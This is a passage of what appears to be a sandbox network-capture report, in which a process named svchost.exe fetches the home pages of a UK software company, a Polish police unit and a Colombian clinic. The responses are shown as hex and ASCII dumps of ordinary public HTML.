2023-07-27 19:54:02 UTC	1705	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-07-27 19:54:02 UTC	1713	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-07-27 19:54:02 UTC	1721	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-07-27 19:54:02 UTC	1729	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d 7b 22 61 70 69 53 65 74 74 69 6e 67 73 22 3a 7b 22 72 6f 6f 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 6a 73 6f 6e 5c 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a Data Ascii: https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7={"apiSettings":{"root":"https:\/\/dataform.co.uk\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	59402	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:01 UTC	1552	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-07-27 19:54:01 UTC	1553	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:55:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-07-27 19:54:01 UTC	1553	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-07-27 19:54:01 UTC	1613	IN	Data Raw: 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 0d 0a 32 30 30 30 0d 0a 65 6e 74 20 20 2d 2d 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... cont2000ent --><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ...
2023-07-27 19:54:01 UTC	1629	IN	Data Raw: 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 38 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2c 64 6f 70 61 6c 61 63 0d 0a 31 30 30 30 0d 0a 7a 65 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 64 6f 70 61 6c 61 63 7a 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2e 6a 70 67 3f 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 Data Ascii: aria-hidden="true" /></a></div><div class="item" style="width:300px; height:85px;margin-bottom:10px"><a href="/w20/batony/3961,dopalac1000ze.html" target="_blank" aria-label="dopalacze"><img src="/dokumenty/batony/3961.jpg?v=1657112618" a
2023-07-27 19:54:01 UTC	1649	IN	Data Raw: 63 6a 61 50 4c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 22 20 63 6c 61 73 73 3d 22 79 74 22 3e 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 57 69 65 6c 6b 6f 70 6f 6c 73 6b 61 2d 50 6f 0d 0a 37 34 32 0d 0a 6c 69 63 6a 61 2d 34 39 30 31 39 36 36 30 34 34 37 30 33 34 32 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 46 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 Data Ascii: cjaPL" target="_blank" title="Odwied nas na YouTube" class="yt">Odwied nas na YouTube</a></li> <li><a href="https://www.facebook.com/Wielkopolska-Po742licja-490196604470342/" target="_blank" title="Odwied nas na Facebook" clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	59546	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:02 UTC	1651	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-07-27 19:54:02 UTC	1651	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:54:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=0cf3af82f41011f8c71609af3ff367e1; path=/; HttpOnly Last-Modified: Thu, 27 Jul 2023 19:54:02 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dulWtsp0Z1grGetDFV8G2tUjGTeh2vHfYzGG9lqiOL0BvK0XNrDu4jZucQm56m7HnpkfMHkgczhhthlMOd%2FJKWlygpIKH6ZOfi3vwStY1DW276C4FmoPEjW1CRaBIf3HKJmfgFcP6no%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76e93f9da8fec-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:54:02 UTC	1652	IN	Data Raw: 37 63 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c54<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-07-27 19:54:02 UTC	1653	IN	Data Raw: 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 Data Ascii: assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/engines/nucleu
2023-07-27 19:54:02 UTC	1654	IN	Data Raw: 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 Data Ascii: 646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox
2023-07-27 19:54:02 UTC	1655	IN	Data Raw: 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 Data Ascii: "></script> <link rel="stylesheet" href="/media/gantry5/engines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="s
2023-07-27 19:54:02 UTC	1657	IN	Data Raw: 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d Data Ascii: alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-m
2023-07-27 19:54:02 UTC	1658	IN	Data Raw: 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c Data Ascii: a-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"><span class="g-menu-item-content"><span cl
2023-07-27 19:54:02 UTC	1659	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 Data Ascii: class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <sp
2023-07-27 19:54:02 UTC	1661	IN	Data Raw: 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 Data Ascii: nstitucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.ph
2023-07-27 19:54:02 UTC	1662	IN	Data Raw: 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f Data Ascii: ndex.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dro
2023-07-27 19:54:02 UTC	1663	IN	Data Raw: 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 Data Ascii: -type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y pr
